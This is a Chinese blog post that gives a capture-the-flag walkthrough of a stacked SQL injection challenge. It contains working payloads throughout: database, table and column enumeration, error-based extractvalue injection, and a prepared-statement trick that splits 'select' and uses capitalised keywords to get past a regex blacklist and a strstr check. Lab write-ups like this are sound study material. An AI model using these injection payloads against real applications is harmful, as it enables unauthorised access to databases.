Z1d10tのBlog

A note for myself,have fun!

buuctf [强网杯 2019]随便注

正常操作后,发现只有两列,然后有正则匹配过滤了

return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);

这题考了堆叠注入,原理很简单,就是通过 ; 号注入多条SQL语句。

1
-1';show databases;

img

看一下当前的数据库,这里考到了报错注入

原理:

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

但是这题update被过滤了

extractvalue() 传参时候稍有不同,其余都是一样的,用这两个函数时,常常用到拼接函数,将要要查询的语句和第二个特殊符号拼接起来一起回显。

sql里拼接函数:concat,concat_ws ,group_concat

1' and extractvalue(1,concat(0x7e,database(),0x7e)); 0x7e 是十六进制~

img

当前数据库在supersqli 注意结果是按照报错的方式回显的。

-1';show tables;爆表

img

flag在那串数字里

表名为数字时,要用反引号包起来查询。

1
-1';show columns from `1919810931114514`;

img

然后要使用存储过程预编译知识,构造能执行的语句

方法一:

set @name1 = sql 语句;

prepare name2 from @name1

EXECUTE name2

注意:一个@是用户变量,两个@是系统变量

方法二:

prepare name1 from 一个sql语句;

EXECUTE name1;

name1,name2的意思是一个名字

其实两者原理都一样

构造:

1
1';set @a = concat('se','lect * from `1919810931114514`;');prepare b from @a;EXECUTE b;

img

strstr()函数对大小写很敏感,通过大写绕过即可。

img

1
1';Set @a = concat('se','lect * from `1919810931114514`;'); Prepare b from @a; EXECUTE b;

img

本文最后更新于 天前,文中所描述的信息可能已发生改变